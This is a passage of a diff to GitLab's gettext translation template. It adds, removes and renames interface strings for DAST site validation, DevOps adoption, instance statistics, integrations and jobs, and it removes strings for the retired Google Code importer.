-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8206,6 +8425,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8332,9 +8554,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8383,7 +8602,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8410,9 +8632,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8434,15 +8653,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8476,9 +8695,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8512,64 +8740,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8683,9 +8932,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8710,7 +8956,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8794,9 +9040,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9208,6 +9451,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9226,6 +9472,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9262,6 +9511,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9319,6 +9571,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9397,15 +9652,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9415,15 +9664,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9613,9 +9931,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9688,9 +10003,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9739,9 +10051,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9847,6 +10165,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9922,6 +10243,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9952,6 +10276,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10024,7 +10351,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10042,6 +10369,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10393,6 +10723,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10504,6 +10837,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10741,9 +11077,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10780,6 +11113,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10858,6 +11194,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11092,6 +11431,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11200,6 +11542,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11335,6 +11680,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11374,6 +11722,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11413,12 +11764,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11587,6 +11944,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11611,9 +11971,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11674,6 +12031,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11716,7 +12076,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11842,12 +12202,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11872,9 +12226,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11920,9 +12271,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12007,6 +12355,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12034,9 +12385,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12523,6 +12871,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12556,6 +12907,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12766,15 +13120,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12889,12 +13240,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13129,6 +13474,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13522,12 +13873,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13603,6 +13948,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13756,9 +14104,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13900,6 +14245,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13978,12 +14326,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14035,9 +14377,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14068,6 +14407,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14101,6 +14443,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14131,9 +14476,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14311,9 +14653,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14398,9 +14737,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14425,73 +14761,79 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14530,6 +14872,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14563,7 +14908,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14581,6 +14935,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14602,6 +14959,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14677,6 +15037,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14719,6 +15082,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14743,6 +15109,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14788,6 +15157,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14797,16 +15169,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14914,9 +15286,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14980,6 +15349,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15115,10 +15487,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15295,6 +15667,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15424,6 +15817,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15607,9 +16003,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15703,6 +16096,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15730,9 +16126,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15763,9 +16156,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15829,9 +16219,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15877,18 +16264,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15904,9 +16282,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16012,6 +16387,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16033,6 +16411,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16237,9 +16618,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16300,16 +16678,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16372,7 +16744,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16384,7 +16756,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
